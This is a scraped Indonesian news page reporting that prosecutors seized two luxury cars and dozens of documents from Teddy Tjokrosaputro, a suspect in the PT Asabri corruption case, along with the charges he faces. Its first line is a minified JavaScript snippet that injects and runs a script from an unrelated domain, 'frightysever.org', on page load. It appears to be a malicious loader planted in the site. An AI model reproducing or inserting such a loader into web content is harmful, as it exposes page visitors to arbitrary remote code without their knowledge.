(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Kejagung Kembali Sita Dua Mobil Mewah dari Tersangka Kasus Asabri


KANALKALIMANTAN.COM – Tim Penyidik Jaksa Agung Muda Tindak Pidana Khusus (Jampidsus) Kejaksaan Agung RI menyita dua unit mobil mewah milik Teddy Tjockrosaputro, tersangka kasus dugaan Korupsi PT Asabri (Persero), Senin (13/9/2021).

Direktur Penyidikan (Dirdik) Jampidsus Kejaksaan Agung RI Supardi mengatakan penyidik melakukan penyitaan di tiga lokasi, yakni rumah Teddy Tjockrosaputro dan Benny Tjockrosaputro, serta PT Rimo International Lestari Tbk.

“Dua mobil disita dari rumah Teddy Tjokcrosaputro dan Benny Tjokcrosaputro, atas nama PT Rimo International Lestari Tbk,” kata Supardi.

Selain dua unit mobil mewah tersebut, penyidik juga menyita puluhan dokumen terkait dengan kasus dugaan korupsi PT Asabri.

 

 

Baca juga: Korban Kedua Truk Tenggelam di Pelabuhan Trisakti Ditemukan, Tim Pencarian Berakhir

Adapun penyitaan dilakukan untuk mengembalikan kerugian negara dalam perkara dugaan korupsi PT Asabri (Persero) yang mencapai Rp 22,78 triliun.

Dua unit mobil mewah milik Teddy Tjokcrosaputro tersebut dibawa penyidik ke Gedung Bundar, Kejaksaan Agung RI, Jakarta Selatan.

Penyidik Jampidsus Kejagung RI menetapkan Teddy Tjokcrosaputro sebagai tersangka kasus dugaan korupsi pada Kamis (26/8) lalu.

Tim penyidik, bekerja menyeret semua pihak dibuktikan dengan penetapan tersangka baru, yakni Teddy Tjokrosaputro yang merupakan Presiden Direktur PT Rimo International Lestari Tbk, partner sekaligus sebagai adik kandung dari tersangka Benny Tjokrosaputro sebagai pemegang saham RIMO.

Teddy Tjokcrosaputro disangkakan dengan pasal primer Pasal 2 ayat (1) jo. Pasal 18 Undang-undang Nomor 31 Tahun 1999 sebagaimana diubah dan ditambah dengan Undang-undang Nomor 20 Tahun 2001 tentang Perubahan atas Undang-undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi Jo. Pasal 55 ayat (1) ke-1 KUHP.

Subsider Pasal 3 Undang-undang Nomor 31 Tahun 1999 sebagaimana diubah dan ditambah dengan Undang-undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi Jo. Pasal 55 ayat (1) ke-1 KUHP.

Baca juga: Sopir Truk Tercebur di Pelabuhan Trisakti Tersangka, Diduga Ada Penumpang Ilegal di Fuso Maut

Teddy Tjockrosaputro juga dijerat dengan pasal tindak pidana pencucian uang, yakni pertama Pasal 3 Undang-Undang Nomor 8 Tahun 2010 tentang Pencegahan dan Pemberantasan Tindak Pidana Pencucian Uang jo. Pasal 55 ayat (1) ke-1 KUHP. Dan yang kedua Pasal 4 Undang-Undang Nomor 8 Tahun 2010 tentang Pencegahan dan Pemberantasan Tindak Pidana Pencucian Uang jo. Pasal 55 ayat (1) ke-1 KUHP.

Dalam perkara ini sebanyak delapan tersangka telah menjalani persidangan di Pengadilan Tindak Pidana Korupsi (Tipikor) Jakarta.

Selain tersangka perorangan, penyidik Kejaksaan Agung juga menetapman 10 manajer investasi sebagai tersangka korporasi dalam perkara Asabri.

Kesepuluh tersangka manajer investasi tersebut, yakni PT IIM, PT MCM, PT PAAM, PT RAM, PT VAM. Kemudian, PT ARK, PT. OMI, PT MAM, PT AAM dan PT CC. (Antara/Suara.com)

Editor: suara


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.